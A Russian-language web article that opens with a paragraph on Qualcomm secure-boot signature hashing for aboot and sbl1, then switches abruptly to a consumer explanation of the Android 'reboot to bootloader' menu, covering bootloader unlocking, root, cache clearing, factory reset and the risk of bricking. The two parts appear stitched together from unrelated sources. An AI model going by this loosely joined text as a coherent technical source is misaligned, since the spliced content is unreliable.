В Secure boot whitepaper от Qualcomm говорится о том, что подписывается sha256 hash от sha256 hash’ей нескольких сегментов ELF загрузчика. Количество сегментов определено в Subject’е сертификата. Например OU=05 00002000 SW_SIZE говорит о том, что в подписи содержится sha256 hash от первых 256 hash’ей областей по 32 байта (0×2000/32=256). Сам по себе aboot не содержит ELF заголовка и описание больше подходит к sbl1 (secondary boot loader).

Есть описание работы little kernel от Qualcomm, но и там нет ничего про алгоритм создания подписи aboot. Задача определить алгоритм все еще актуальна.

Чем может быть полезна функция reboot to bootloader

После запуска этой функции вы увидите меню, которое на разных устройствах может отличаться. Все надписи в нём на английском языке. Управление осуществляется кнопками регулировки громкости – для перемещения по пунктам вверх и вниз, кнопкой Home для выбора пункта и боковыми кнопками, если около них есть варианты выбора.

В меню обычно есть пункты, где можно посмотреть детальную информацию по имеющимся устройствам, протестировать их работу или работу всей системы. Также здесь можно разблокировать загрузчик, исправить программные ошибки, и даже загрузить другую прошивку.

Обычно, чтобы получить Root-права , устанавливают какую-нибудь стороннюю программу, но она не гарантирует результата. Получить эти права можно, просто разблокировав загрузчик. Также появляется возможность отладить приложения и деинсталлировать даже неудаляемые обычными средствами – под ними могут скрываться некоторые вирусы.

Можно очистить кэш – скопление множества «мусорных» файлов, которые постоянно накапливаются при работе системы. Иногда это помогает, когда устройство работает со сбоями и часто «глючит». Наконец, в этом меню есть возможность откатить устройство к заводским настройкам и вернуть ему былую стабильность и работоспособность.

В это меню нельзя заходить без специальных знаний – есть риск превратить устройство в «кирпич». К тому же, вся информация там на английском языке, поэтому обязательно надо ориентироваться в том, что написано.

  • Неправильные действия могут привести к появлению разных ошибок в операционной системе. Удаление важных компонентов может привести к тому, что она вовсе не сможет загрузиться.
  • Есть опасность повреждения данных, хранящихся на устройстве, не только на флешке, но и в основной памяти. Поэтому предварительно нужно сохранить важные файлы на другой носитель, например, скопировать на компьютер.

Всё это означает, что использовать функцию Reboot to Bootloader может только лишь человек, обладающий нужными навыками и знаниями, а не обычный пользователь.

Оцените статью
Huawei Devices